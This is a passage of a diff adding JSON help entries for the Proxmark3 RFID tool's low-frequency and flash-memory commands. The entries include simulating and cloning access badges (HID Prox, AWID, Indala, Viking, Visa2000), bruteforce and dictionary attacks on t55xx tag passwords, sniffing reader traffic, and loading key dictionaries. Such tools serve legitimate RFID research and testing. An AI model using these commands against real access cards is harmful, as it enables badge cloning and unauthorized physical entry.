--------------------------------------------------------------------------------------- lf securakey demod available offline: yes try to find securakey preamble, if found decode / descramble data", + "notes": [ + "lf securakey demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf securakey demod [-h]" + }, + "lf securakey reader": { + "command": "lf securakey reader", + "description": "read a securakey tag", + "notes": [ + "lf securakey reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf securakey reader [-h@]" + }, + "lf securakey sim": { + "command": "lf securakey sim", + "description": "enables simulation of secura card with specified card number. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf securakey sim --raw 7fcb400001adea5344300000" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw hex data. 12 bytes" + ], + "usage": "lf securakey sim [-h] [-r ]" + }, + "lf sim": { + "command": "lf sim", + "description": "simulate low frequency tag from graphbuffer use `lf config` to set parameters", + "notes": [ + "lf sim", + "lf sim --gap 240 -> start simulating with 240ms gap" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-g, --gap start gap in microseconds" + ], + "usage": "lf sim [-h] [-g ]" + }, + "lf simask": { + "command": "lf simask", + "description": "simulate ask tag from demodbuffer or input", + "notes": [ + "lf simask --clk 32 --am -d 0102030405 -> simulate ask/man rf/32", + "lf simask --clk 32 --bi -d 0102030405 -> simulate ask/biphase rf/32", + "", + "lf simask --clk 64 --am -d ffbd8001686f1924 -> simulate a em410x tag", + "lf simask --clk 64 --am --stt -d 5649533200003f340000001b -> simulate a visa2k tag" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-i, --inv invert data", + "-c, --clk manually set clock - can autodetect if using demodbuffer (default 64)", + "--bi ask/biphase encoding", + "--am ask/manchester encoding (default)", + "--ar ask/raw encoding", + "--stt add t55xx sequence terminator gap - default: no gaps (only manchester)", + "-d, --data data to sim - omit to use demodbuffer", + "-v, --verbose verbose output" + ], + "usage": "lf simask [-hiv] [-c ] [--bi] [--am] [--ar] [--stt] [-d ]" + }, + "lf simbidir": { + "command": "lf simbidir", + "description": "simulate lf tag with bidirectional data transmission between reader and tag", + "notes": [ + "lf simbidir" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "lf simbidir [-h]" + }, + "lf simfsk": { + "command": "lf simfsk", + "description": "simulate fsk tag from demodbuffer or input. there are about four fsk modulations to know of. fsk1 - where fc/8 = high and fc/5 = low fsk1a - is inverted fsk1, ie: fc/5 = high and fc/8 = low fsk2 - where fc/10 = high and fc/8 = low fsk2a - is inverted fsk2, ie: fc/10 = high and fc/8 = low note: if you set one clock manually set them all manually", + "notes": [ + "lf simfsk -c 40 --high 8 --low 5 -d 010203 -> fsk1 rf/40 data 010203", + "lf simfsk -c 40 --high 5 --low 8 -d 010203 -> fsk1a rf/40 data 010203", + "lf simfsk -c 64 --high 10 --low 8 -d 010203 -> fsk2 rf/64 data 010203", + "lf simfsk -c 64 --high 8 --low 10 -d 010203 -> fsk2a rf/64 data 010203", + "", + "lf simfsk -c 50 --high 10 --low 8 -d 1d5559555569a9a555a59569 -> simulate hid prox tag manually", + "lf simfsk -c 50 --high 10 --low 8 --stt -d 011db2487e8d811111111111 -> simulate awid tag manually" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-c, --clk manually set clock - can autodetect if using demodbuffer (default 64)", + "--low manually set larger field clock", + "--high manually set smaller field clock", + "--stt tbd! - stt to enable a gap between playback repetitions (default: no gap)", + "-d, --data data to sim - omit to use demodbuffer", + "-v, --verbose verbose output" + ], + "usage": "lf simfsk [-hv] [-c ] [--low ] [--high ] [--stt] [-d ]" + }, + "lf simpsk": { + "command": "lf simpsk", + "description": "simulate psk tag from demodbuffer or input", + "notes": [ + "lf simpsk -1 --clk 40 --fc 4 -d 01020304 -> simulate psk1 rf/40 psksub fc/4, data 01020304", + "", + "lf simpsk -1 --clk 32 --fc 2 -d a0000000bd989a11 -> simulate a indala tag manually" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-1, --psk1 set psk1 (default)", + "-2, --psk2 set psk2", + "-3, --psk3 set psk3", + "-i, --inv invert data", + "-c, --clk manually set clock - can autodetect if using demodbuffer (default 32)", + "--fc 2|4|8 are valid carriers (default 2)", + "-d, --data data to sim - omit to use demodbuffer", + "-v, --verbose verbose output" + ], + "usage": "lf simpsk [-h123iv] [-c ] [--fc ] [-d ]" + }, + "lf sniff": { + "command": "lf sniff", + "description": "sniff low frequency signal. - use `lf config` to set parameters. - use `data plot` to look at it", + "notes": [ + "lf sniff -v", + "lf sniff -s 3000 -@ -> oscilloscope style" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --samples number of samples to collect", + "-v, --verbose verbose output", + "-@ continuous sniffing mode" + ], + "usage": "lf sniff [-hv@] [-s ]" + }, + "lf t55xx bruteforce": { + "command": "lf t55xx bruteforce", + "description": "this command uses bruteforce to scan a number range. try reading page 0, block 7 before. warning this may brick non-password protected chips!", + "notes": [ + "lf t55xx bruteforce --r2 -s aaaaaa77 -e aaaaaa99" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --start search start password (4 hex bytes)", + "-e, --end search end password (4 hex bytes)", + "--r0 downlink - fixed bit length", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference", + "--all try all downlink modes (def)" + ], + "usage": "lf t55xx bruteforce [-h] -s -e [--r0] [--r1] [--r2] [--r3] [--all]" + }, + "lf t55xx chk": { + "command": "lf t55xx chk", + "description": "this command uses a dictionary attack. for some cloners, try '--em' for known pwdgen algo. try to reading page 0 block 7 before. warning: this may brick non-password protected chips!", + "notes": [ + "lf t55xx chk -m -> use dictionary from flash memory (rdv4)", + "lf t55xx chk -f my_dictionary_pwds -> loads a default keys dictionary file", + "lf t55xx chk --em aa11223344 -> try known pwdgen algo from some cloners based on em4100 id" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-m, --fm use dictionary from flash memory (rdv4)", + "-f, --file file name", + "--em em4100 id (5 hex bytes)", + "--r0 downlink - fixed bit length", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference", + "--all try all downlink modes (def)" + ], + "usage": "lf t55xx chk [-hm] [-f ] [--em ] [--r0] [--r1] [--r2] [--r3] [--all]" + }, + "lf t55xx config": { + "command": "lf t55xx config", + "description": "set/get t55xx configuration of the pm3 client. like modulation, inverted, offset, rate etc. offset is start position to decode data.", + "notes": [ + "lf t55xx config --fsk -> fsk demodulation", + "lf t55xx config --fsk -i -> fsk demodulation, inverse data", + "lf t55xx config --fsk -i -o 3 -> fsk demodulation, inverse data, offset 3" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--fsk set demodulation fsk", + "--fsk1 set demodulation fsk 1", + "--fsk1a set demodulation fsk 1a (inv)", + "--fsk2 set demodulation fsk 2", + "--fsk2a set demodulation fsk 2a (inv)", + "--ask set demodulation ask", + "--psk1 set demodulation psk 1", + "--psk2 set demodulation psk 2", + "--psk3 set demodulation psk 3", + "--nrz set demodulation nrz", + "--bi set demodulation biphase", + "--bia set demodulation diphase (inverted biphase)", + "-i, --inv set/reset data signal inversion", + "--q5 set/reset as q5/t5555 chip instead of t55x7", + "--st set/reset sequence terminator on", + "--rate set bitrate <8|16|32|40|50|64|100|128>", + "-c, --blk0 set configuration from a block0 (4 hex bytes)", + "-o, --offset <0-255> set offset, where data should start decode in bitstream", + "--r0 downlink - fixed bit length (detected def)", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference" + ], + "usage": "lf t55xx config [-hi] [--fsk] [--fsk1] [--fsk1a] [--fsk2] [--fsk2a] [--ask] [--psk1] [--psk2] [--psk3] [--nrz] [--bi] [--bia] [--q5] [--st] [--rate ] [-c ] [-o <0-255>] [--r0] [--r1] [--r2] [--r3]" + }, + "lf t55xx dangerraw": { + "command": "lf t55xx dangerraw", + "description": "this command allows to emit arbitrary raw commands on t5577 and cut the field after arbitrary duration. uncontrolled usage can easily write an invalid configuration, activate lock bits, otp bit, password protection bit, deactivate test-mode, lock your card forever. warning: this may lock definitively the tag in an unusable state!", + "notes": [ + "lf t55xx dangerraw -d 01000000000000010000100000000100000000 -t 3200" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-d, --data raw bit string", + "-t, --time <0 - 200000> time in microseconds before dropping the field" + ], + "usage": "lf t55xx dangerraw [-h] -d -t " + }, + "lf t55xx detect": { + "command": "lf t55xx detect", + "description": "try detecting the tag modulation from reading the configuration block", + "notes": [ + "lf t55xx detect", + "lf t55xx detect -1", + "lf t55xx detect -p 11223344" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1 extract using data from graphbuffer", + "-p, --pwd password (4 hex bytes)", + "--r0 downlink - fixed bit length (detected def)", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference", + "--all try all downlink modes" + ], + "usage": "lf t55xx detect [-h1] [-p ] [--r0] [--r1] [--r2] [--r3] [--all]" + }, + "lf t55xx deviceconfig": { + "command": "lf t55xx deviceconfig", + "description": "sets t55x7 timings for direct commands. the timings are set here in field clocks (fc) which is converted to (us) on device.", + "notes": [ + "lf t55xx deviceconfig -a 29 -b 17 -c 15 -d 47 -e 15 -> default t55xx", + "lf t55xx deviceconfig -a 55 -b 14 -c 21 -d 30 -> default em4305" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-a <8..255> set start gap", + "-b <8..255> set write gap", + "-c <8..255> set write zero gap", + "-d <8..255> set write one gap", + "-e <8..255> set read gap", + "-f <8..255> set write two gap (1 of 4 only)", + "-g <8..255> set write three gap (1 of 4 only)", + "-p, --persist persist to flash memory (rdv4)", + "-z set default t55x7 timings (use `-p` to save if required)", + "--r0 downlink - fixed bit length (detected def)", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference" + ], + "usage": "lf t55xx deviceconfig [-hpz] [-a <8..255>] [-b <8..255>] [-c <8..255>] [-d <8..255>] [-e <8..255>] [-f <8..255>] [-g <8..255>] [--r0] [--r1] [--r2] [--r3]" + }, + "lf t55xx dump": { + "command": "lf t55xx dump", + "description": "this command dumps a t55xx card page 0 block 0-7. it will create three files (bin/eml/json)", + "notes": [ + "lf t55xx dump", + "lf t55xx dump -p aabbccdd --override", + "lf t55xx dump -f my_lf_dump" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --filename filename (default is generated on blk 0)", + "-o, --override override, force pwd read despite danger to card", + "-p, --pwd password (4 hex bytes)", + "--r0 downlink - fixed bit length", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference" + ], + "usage": "lf t55xx dump [-ho] [-f ] [-p ] [--r0] [--r1] [--r2] [--r3]" + }, + "lf t55xx help": { + "command": "lf t55xx help", + "description": "----------- ---------------------------- notice ----------------------------- remember to run `lf t55xx detect` first whenever a new card is placed on the proxmark3 or the config block changed. help this help ----------- --------------------- operations --------------------- config set/get t55xx configuration (modulation, inverted, offset, rate) detect try detecting the tag modulation from reading the configuration block info show t55x7 configuration data (page 0/ blk 0) trace show t55x7 traceability data (page 1/ blk 0-1) ----------- --------------------- recovery --------------------- sniff attempt to recover t55xx commands from sample buffer --------------------------------------------------------------------------------------- lf t55xx clonehelp available offline: no display a list of available commands for cloning specific techs on t5xx tags", + "notes": [ + "lf t55xx clonehelp" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf t55xx clonehelp [-h]" + }, + "lf t55xx info": { + "command": "lf t55xx info", + "description": "show t55x7 configuration data (page 0/ blk 0) from reading the configuration block from tag. use `-c` to specify a config block data to be used instead of reading tag.", + "notes": [ + "lf t55xx info", + "lf t55xx info -1", + "lf t55xx info -p 11223344", + "lf t55xx info -c 00083040", + "lf t55xx info -c 6001805a --q5" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1 extract using data from graphbuffer", + "-p, --pwd password (4 hex bytes)", + "-c, --blk0 use these data instead (4 hex bytes)", + "--q5 interprete provided data as t5555/q5 config", + "--r0 downlink - fixed bit length (detected def)", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference" + ], + "usage": "lf t55xx info [-h1] [-p ] [-c ] [--q5] [--r0] [--r1] [--r2] [--r3]" + }, + "lf t55xx p1detect": { + "command": "lf t55xx p1detect", + "description": "detect page 1 of a t55xx chip", + "notes": [ + "lf t55xx p1detect", + "lf t55xx p1detect -1", + "lf t55xx p1detect -p 11223344 --r3" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-1 extract using data from graphbuffer", + "-p, --pwd password (4 hex bytes)", + "--r0 downlink - fixed bit length (detected def)", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference" + ], + "usage": "lf t55xx p1detect [-h1] [-p ] [--r0] [--r1] [--r2] [--r3]" + }, + "lf t55xx protect": { + "command": "lf t55xx protect", + "description": "this command sets the pwd bit on t5577. warning this locks the tag!", + "notes": [ + "lf t55xx protect -n 01020304 -> sets new pwd 01020304", + "lf t55xx protect -p 11223344 -n 00000000 -> use pwd 11223344, sets new pwd 00000000" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-o, --override override safety check", + "-p, --pwd password (4 hex bytes)", + "-n, --new new password (4 hex bytes)", + "--r0 downlink - fixed bit length (detected def)", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference" + ], + "usage": "lf t55xx protect [-ho] [-p ] -n [--r0] [--r1] [--r2] [--r3]" + }, + "lf t55xx read": { + "command": "lf t55xx read", + "description": "read t55xx block data. this commands defaults to page 0. * * * warning * * * use of read with password on a tag not configured for a password can damage the tag * * * * * * * * * *", + "notes": [ + "lf t55xx read -b 0 -> read data from block 0", + "lf t55xx read -b 0 --pwd 01020304 -> read data from block 0, pwd 01020304", + "lf t55xx read -b 0 --pwd 01020304 -o -> read data from block 0, pwd 01020304, override" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --blk <0-7> block number to read", + "-p, --pwd password (4 hex bytes)", + "-o, --override override safety check", + "--pg1 read page 1", + "--r0 downlink - fixed bit length (detected def)", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference" + ], + "usage": "lf t55xx read [-ho] -b <0-7> [-p ] [--pg1] [--r0] [--r1] [--r2] [--r3]" + }, + "lf t55xx recoverpw": { + "command": "lf t55xx recoverpw", + "description": "this command uses a few tricks to try to recover mangled password. try reading page 0, block 7 before. warning this may brick non-password protected chips!", + "notes": [ + "lf t55xx recoverpw", + "lf t55xx recoverpw -p 11223344", + "lf t55xx recoverpw -p 11223344 --r3" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-p, --pwd password (4 hex bytes)", + "--r0 downlink - fixed bit length", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference", + "--all try all downlink modes (def)" + ], + "usage": "lf t55xx recoverpw [-h] [-p ] [--r0] [--r1] [--r2] [--r3] [--all]" + }, + "lf t55xx resetread": { + "command": "lf t55xx resetread", + "description": "send reset cmd then `lf read` the stream to attempt to identify the start of it (needs a demod and/or plot after)", + "notes": [ + "lf t55xx resetread" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-1 extract using data from graphbuffer", + "--r0 downlink - fixed bit length (detected def)", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference" + ], + "usage": "lf t55xx resetread [-h1] [--r0] [--r1] [--r2] [--r3]" + }, + "lf t55xx restore": { + "command": "lf t55xx restore", + "description": "restore t55xx card page 0/1 n blocks from (bin/eml/json) dump file", + "notes": [ + "lf t55xx restore -f lf-t55xx-00148040-dump.bin" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --file filename of dump file", + "-p, --pwd password if target card has password set (4 hex bytes)" + ], + "usage": "lf t55xx restore [-h] [-f ] [-p ]" + }, + "lf t55xx sniff": { + "command": "lf t55xx sniff", + "description": "sniff lf t55xx based trafic and decode possible cmd / blocks. lower tolerance means tighter pulses.", + "notes": [ + "lf t55xx sniff", + "lf t55xx sniff -1 -t 2 -> use buffer with tolerance of 2", + "lf t55xx sniff -1 --zero 7 --one 14 -> use buffer, zero pulse width 7, one pulse width 15" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1 extract using data from graphbuffer", + "-t, --tol set tolerance level (default 5)", + "-o, --one set samples width for one pulse (default auto)", + "-z, --zero set samples width for zero pulse (default auto)" + ], + "usage": "lf t55xx sniff [-h1] [-t ] [-o ] [-z ]" + }, + "lf t55xx special": { + "command": "lf t55xx special", + "description": "show block changes with 64 different offsets, data taken from demod buffer.", + "notes": [ + "lf t55xx special" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "lf t55xx special [-h]" + }, + "lf t55xx trace": { + "command": "lf t55xx trace", + "description": "show t55x7 configuration data (page 0/ blk 0) from reading the configuration block", + "notes": [ + "lf t55xx trace", + "lf t55xx trace -1" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-1 extract using data from graphbuffer", + "--r0 downlink - fixed bit length (detected def)", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference" + ], + "usage": "lf t55xx trace [-h1] [--r0] [--r1] [--r2] [--r3]" + }, + "lf t55xx wakeup": { + "command": "lf t55xx wakeup", + "description": "this commands sends the answer-on-request command and leaves the readerfield on afterwards", + "notes": [ + "lf t55xx wakeup -p 11223344 -> send wakeup with password" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-p, --pwd password (4 hex bytes)", + "-v, --verbose verbose output", + "--r0 downlink - fixed bit length (detected def)", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference" + ], + "usage": "lf t55xx wakeup [-hv] [-p ] [--r0] [--r1] [--r2] [--r3]" + }, + "lf t55xx wipe": { + "command": "lf t55xx wipe", + "description": "this commands wipes a tag, fills blocks 1-7 with zeros and a default configuration block", + "notes": [ + "lf t55xx wipe -> wipes a t55x7 tag, config block 0x000880e0", + "lf t55xx wipe --q5 -> wipes a q5/t5555 tag, config block 0x6001f004", + "lf t55xx wipe -p 11223344 -> wipes a t55x7 tag, config block 0x000880e0, using pwd" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-c, --cfg configuration block0 (4 hex bytes)", + "-p, --pwd password (4 hex bytes)", + "--q5 specify writing to q5/t5555 tag using dedicated config block", + "--r0 downlink - fixed bit length (detected def)", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference" + ], + "usage": "lf t55xx wipe [-h] [-c ] [-p ] [--q5] [--r0] [--r1] [--r2] [--r3]" + }, + "lf t55xx write": { + "command": "lf t55xx write", + "description": "write t55xx block data", + "notes": [ + "lf t55xx write -b 3 -d 11223344 -> write 11223344 to block 3", + "lf t55xx write -b 3 -d 11223344 --pwd 01020304 -> write 11223344 to block 3, pwd 01020304", + "lf t55xx write -b 3 -d 11223344 --pwd 01020304 --verify -> write 11223344 to block 3 and try validating write" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-b, --blk <0-7> block number to write", + "-d, --data data to write (4 hex bytes)", + "-p, --pwd password (4 hex bytes)", + "-t, --tm test mode write ( danger )", + "--pg1 write page 1", + "--verify try validate data afterward", + "--r0 downlink - fixed bit length (detected def)", + "--r1 downlink - long leading reference", + "--r2 downlink - leading zero", + "--r3 downlink - 1 of 4 coding reference" + ], + "usage": "lf t55xx write [-ht] -b <0-7> [-d ] [-p ] [--pg1] [--verify] [--r0] [--r1] [--r2] [--r3]" + }, + "lf ti help": { + "command": "lf ti help", + "description": "help this help demod demodulate raw bits for ti lf tag from the graphbuffer --------------------------------------------------------------------------------------- lf ti demod available offline: yes try to find ti preamble, if found decode / descramble data", + "notes": [ + "lf ti demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf ti demod [-h]" + }, + "lf ti reader": { + "command": "lf ti reader", + "description": "read a ti tag", + "notes": [ + "lf ti reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf ti reader [-h@]" + }, + "lf ti write": { + "command": "lf ti write", + "description": "write to a r/w ti tag.", + "notes": [ + "lf ti write --raw 1122334455667788", + "lf ti write --raw 1122334455667788 --crc 1122" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-r, --raw raw hex data. 8 bytes max", + "--crc optional - crc" + ], + "usage": "lf ti write [-h] -r [--crc ]" + }, + "lf tune": { + "command": "lf tune", + "description": "continuously measure lf antenna tuning. press button or to interrupt.", + "notes": [ + "lf tune", + "lf tune --mix" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-n, --iter number of iterations (default: 0=infinite)", + "-q, --divisor frequency divisor. 88 -> 134 khz, 95 -> 125 khz", + "-f, --freq frequency in khz", + "--bar bar style", + "--mix mixed style", + "--value values style" + ], + "usage": "lf tune [-h] [-n ] [-q ] [-f ] [--bar] [--mix] [--value]" + }, + "lf viking clone": { + "command": "lf viking clone", + "description": "clone a viking am tag to a t55x7, q5/t5555 or em4305/4469 tag.", + "notes": [ + "lf viking clone --cn 01a337", + "lf viking clone --cn 01a337 --q5 -> encode for q5/t5555 tag", + "lf viking clone --cn 112233 --em -> encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--cn 8 digit hex viking card number", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf viking clone [-h] [--cn ]... [--q5] [--em]" + }, + "lf viking help": { + "command": "lf viking help", + "description": "help this help demod demodulate a viking tag from the graphbuffer --------------------------------------------------------------------------------------- lf viking demod available offline: yes try to find viking am preamble, if found decode / descramble data", + "notes": [ + "lf viking demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf viking demod [-h]" + }, + "lf viking reader": { + "command": "lf viking reader", + "description": "read a viking am tag", + "notes": [ + "lf viking reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf viking reader [-h@]" + }, + "lf viking sim": { + "command": "lf viking sim", + "description": "enables simulation of viking card with specified card number. simulation runs until the button is pressed or another usb command is issued. per viking format, the card number is 8 digit hex number. larger values are truncated.", + "notes": [ + "lf viking sim --cn 01a337" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--cn 8 digit hex viking card number" + ], + "usage": "lf viking sim [-h] [--cn ]..." + }, + "lf visa2000 clone": { + "command": "lf visa2000 clone", + "description": "clone a visa2000 tag to a t55x7, q5/t5555 or em4305/4469 tag.", + "notes": [ + "lf visa2000 clone --cn 112233", + "lf visa2000 clone --cn 112233 --q5 -> encode for q5/t5555 tag", + "lf visa2000 clone --cn 112233 --em -> encode for em4305/4469" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--cn visa2k card id", + "--q5 optional - specify writing to q5/t5555 tag", + "--em optional - specify writing to em4305/4469 tag" + ], + "usage": "lf visa2000 clone [-h] --cn [--q5] [--em]" + }, + "lf visa2000 help": { + "command": "lf visa2000 help", + "description": "help this help demod demodulate an visa2000 tag from the graphbuffer --------------------------------------------------------------------------------------- lf visa2000 demod available offline: yes try to find visa2000 preamble, if found decode / descramble data", + "notes": [ + "lf visa2000 demod" + ], + "offline": true, + "options": [ + "-h, --help this help" + ], + "usage": "lf visa2000 demod [-h]" + }, + "lf visa2000 reader": { + "command": "lf visa2000 reader", + "description": "read a visa2000 tag", + "notes": [ + "lf visa2000 reader -@ -> continuous reader mode" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-@ optional - continuous reader mode" + ], + "usage": "lf visa2000 reader [-h@]" + }, + "lf visa2000 sim": { + "command": "lf visa2000 sim", + "description": "enables simulation of visa2k card with specified card number. simulation runs until the button is pressed or another usb command is issued.", + "notes": [ + "lf visa2000 sim --cn 1337" + ], + "offline": false, + "options": [ + "-h, --help this help", + "--cn visa2k card id" + ], + "usage": "lf visa2000 sim [-h] --cn " + }, + "mem dump": { + "command": "mem dump", + "description": "dumps flash memory on device into a file or view in console", + "notes": [ + "mem dump -f myfile -> download all flashmem to file", + "mem dump --view -o 262015 --len 128 -> display 128 bytes from offset 262015 (rsa sig)", + "mem dump --view -f myfile -o 241664 --len 58 -> display 58 bytes from offset 241664 and save to file" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-o, --offset offset in memory", + "-l, --len length", + "-v, --view view dump", + "-f, --file file name", + "-c, --cols column breaks (def 32)" + ], + "usage": "mem dump [-hv] [-o ] [-l ] [-f ]... [-c ]" + }, + "mem help": { + "command": "mem help", + "description": "help this help --------------------------------------------------------------------------------------- mem baudrate available offline: no set the baudrate for the spi flash memory communications. reading flash id will virtually always fail under 48mhz setting. unless you know what you are doing, please stay at 24mhz. if >= 24mhz, fastreads instead of reads instruction will be used.", + "notes": [ + "mem baudrate --mhz 48" + ], + "offline": true, + "options": [ + "-h, --help this help", + "--mhz <24|48> spi baudrate in mhz" + ], + "usage": "mem baudrate [-h] --mhz <24|48>" + }, + "mem info": { + "command": "mem info", + "description": "collect signature and verify it from flash memory", + "notes": [ + "mem info" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --sign create a signature", + "-d flash memory id, 8 hex bytes", + "-p, --pem key in pem format", + "-v, --verbose verbose output" + ], + "usage": "mem info [-hsv] [-d ] [-p ]" + }, + "mem load": { + "command": "mem load", + "description": "loads binary file into flash memory on device warning: mem area to be written must have been wiped first ( this is already taken care when loading dictionaries )", + "notes": [ + "mem load -f myfile -> upload file myfile values at default offset 0", + "mem load -f myfile -o 1024 -> upload file myfile values at offset 1024", + "mem load -f mfc_default_keys -m -> upload mfc keys", + "mem load -f t55xx_default_pwds -t -> upload t55xx passwords", + "mem load -f iclass_default_keys -i -> upload iclass keys" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-o, --offset offset in memory", + "-m, --mifare, --mfc upload 6 bytes keys (mifare key dictionary)", + "-i, --iclass upload 8 bytes keys (iclass key dictionary)", + "-t, --t55xx upload 4 bytes keys (password dictionary)", + "-f, --file file name" + ], + "usage": "mem load [-hmit] [-o ] [-f ]..." + }, + "mem spiffs check": { + "command": "mem spiffs check", + "description": "check/try to defrag faulty/fragmented spiffs file system", + "notes": [ + "mem spiffs check" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "mem spiffs check [-h]" + }, + "mem spiffs dump": { + "command": "mem spiffs dump", + "description": "dumps device spiffs file to a local file size is handled by first sending a stat command against file to verify existence", + "notes": [ + "mem spiffs dump -s tag.bin -> download binary file from device", + "mem spiffs dump -s tag.bin -d aaa -e -> download tag.bin, save as aaa.eml format" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --src spiffs file to save", + "-d, --dest file name to save to ", + "-e, --eml also save in eml format" + ], + "usage": "mem spiffs dump [-he] -s [-d ]" + }, + "mem spiffs help": { + "command": "mem spiffs help", + "description": "help this help --------------------------------------------------------------------------------------- mem spiffs copy available offline: no copy a file to another (destructively) in spiffs file system", + "notes": [ + "mem spiffs copy -s aaa.bin -d aaa_cpy.bin" + ], + "offline": true, + "options": [ + "-h, --help this help", + "-s, --src source file name", + "-d, --dest destination file name" + ], + "usage": "mem spiffs copy [-h] -s -d " + }, + "mem spiffs info": { + "command": "mem spiffs info", + "description": "print file system info and usage statistics", + "notes": [ + "mem spiffs info" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "mem spiffs info [-h]" + }, + "mem spiffs mount": { + "command": "mem spiffs mount", + "description": "mount the spiffs file system if not already mounted", + "notes": [ + "mem spiffs mount" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "mem spiffs mount [-h]" + }, + "mem spiffs remove": { + "command": "mem spiffs remove", + "description": "remove a file from spiffs filesystem", + "notes": [ + "mem spiffs remove -f lasttag.bin" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-f, --filename file to remove" + ], + "usage": "mem spiffs remove [-h] -f " + }, + "mem spiffs rename": { + "command": "mem spiffs rename", + "description": "rename/move a file from spiffs filesystem.", + "notes": [ + "mem spiffs rename -s aaa.bin -d bbb.bin" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --src source file name", + "-d, --dest destination file name" + ], + "usage": "mem spiffs rename [-h] -s -d " + }, + "mem spiffs test": { + "command": "mem spiffs test", + "description": "test spiffs operations, require wiping pages 0 and 1", + "notes": [ + "mem spiffs test" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "mem spiffs test [-h]" + }, + "mem spiffs tree": { + "command": "mem spiffs tree", + "description": "print the flash memory file system tree", + "notes": [ + "mem spiffs tree" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "mem spiffs tree [-h]" + }, + "mem spiffs unmount": { + "command": "mem spiffs unmount", + "description": "un-mount the spiffs file system", + "notes": [ + "mem spiffs unmount" + ], + "offline": false, + "options": [ + "-h, --help this help" + ], + "usage": "mem spiffs unmount [-h]" + }, + "mem spiffs upload": { + "command": "mem spiffs upload", + "description": "uploads binary-wise file into device file system warning: mem area to be written must have been wiped first. this is already taken care when loading dictionaries. file names can only be 32 bytes long on device spiffs", + "notes": [ + "mem spiffs upload -s local.bin -d dest.bin" + ], + "offline": false, + "options": [ + "-h, --help this help", + "-s, --src source file name", + "-d, --dest destination file name" + ], + "usage": "mem spiffs upload [-h] -s -d " + }, + "mem spiffs view": { + "command": "mem spiffs view", + "description": "view a file on flash memory on devicer in console", + "notes": [ + 